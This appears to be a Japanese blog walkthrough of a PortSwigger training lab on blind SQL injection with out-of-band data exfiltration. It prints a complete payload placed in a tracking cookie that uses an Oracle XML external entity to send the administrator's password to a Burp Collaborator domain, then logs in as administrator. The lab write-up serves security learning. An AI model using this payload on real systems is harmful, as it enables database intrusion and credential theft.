Shikata Ga Nai

Private? There is no such things.

Blind SQL injection with out-of-band data exfiltrationをやってみた

Hello there, ('ω')ノ

 

帯域外データ抽出を使用したブラインドSQLインジェクションを。

このラボには、SQLインジェクションの脆弱性があって。

トラッキングCookieを使用して。SQLクエリを実行して。

SQLクエリは非同期で実行されて、アプリケーションの応答には影響しないが。

外部ドメインとの帯域外相互作用をトリガすることはできるらしく。

データベースには、usersというテーブルと。

usernameとpasswordというカラムがあって。

便利なペイロードは下記を参照とのことで。

 

 https://portswigger.net/web-security/sql-injection/cheat-sheet

 

f:id:ThisIsOne:20210407150542p:plain

 

まずは、ページにアクセスして。


f:id:ThisIsOne:20210407145638p:plain

 

リクエストをリピータへ。

 

f:id:ThisIsOne:20210407145617p:plain

 

コラボレータを起動して、ペイロードをコピーしておいて。

 

f:id:ThisIsOne:20210407145709p:plain

 

 

トラッキングIDを下記に置き換えてSendすると。

 

TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.f6ms8bu8u36vnh5qrn7s0m1tgkmba0.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--;

 

ちなみに少しだけ見やすく分解してみると。

SYSTEMディレクティブを使用して。

URIのコンテンツをロードするremoteという名前の。

外部パラメータエンティティが宣言されていて。

%remote; は、URIへのHTTP GETリクエストをトリガするために呼び出されて。

 

<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>

<!DOCTYPE+root+

[+

<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.f6ms8bu8u36vnh5qrn7s0m1tgkmba0.burpcollaborator.net/">+%25remote%3b

]

>

 

f:id:ThisIsOne:20210407145833p:plain

 

コラボレータのHTTPリクエストでパスワードが確認できて。

 d6ngufdgu8eozg189z1q

 

f:id:ThisIsOne:20210407145908p:plain

 

DNSの場合だと下記のとおりで。

 

f:id:ThisIsOne:20210407151521p:plain

 

administratorでログインしてみると。

 

f:id:ThisIsOne:20210407150011p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210407150028p:plain

 

Best regards, (^^ゞ